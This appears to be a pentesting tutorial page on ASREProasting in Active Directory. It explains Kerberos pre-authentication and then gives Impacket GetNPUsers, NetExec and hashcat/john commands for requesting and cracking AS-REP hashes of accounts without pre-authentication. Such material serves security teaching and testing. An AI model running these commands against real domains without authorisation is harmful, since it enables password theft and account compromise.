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ASREProast

Theory

The Kerberos authentication protocol works with tickets in order to grant access. A ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast).

The pre-authentication requires the requesting user to supply its secret key (DES, RC4, AES128 or AES256) derived from the user password. Technically, when asking the KDC (Key Distribution Center) for a TGT (Ticket Granting Ticket), the requesting user needs to validate pre-authentication by sending a timestamp encrypted with it's own credentials. It ensures the user is requesting a TGT for himself. Once validated, the TGT is then sent to the user in the KRB_AS_REP message, but that message also contains a session key. That session key is encrypted with the requested user's NT hash.

Because some applications don't support Kerberos preauthentication, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs for these users and crack the session keys offline. This is ASREProasting.

While this technique can possibly allow to retrieve a user's credentials, the TGT obtained in the KRB_AS_REP messages are encrypted cannot be used without knowledge of the account's password.

Practice

While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with Do not require Kerberos preauthentication set without that prior foothold.

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

# users list dynamically queried with an LDAP anonymous bind
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

# with a users file
GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

# users list dynamically queried with a LDAP authenticated bind (password)
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# users list dynamically queried with a LDAP authenticated bind (NT hash)
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

This can also be achieved with NetExec (Python).

netexec ldap $TARGETS -u $USER -p $PASSWORD --asreproast ASREProastables.txt --KdcHost $KeyDistributionCenter

The kerberoast pure-python toolkit is a good alternative to the tools mentioned above.

Depending on the output format used (hashcat or john), hashcat and JohnTheRipper can be used to try cracking the hashes.

hashcat -m 18200 -a 0 ASREProastables.txt $wordlist
john --wordlist=$wordlist ASREProastables.txt

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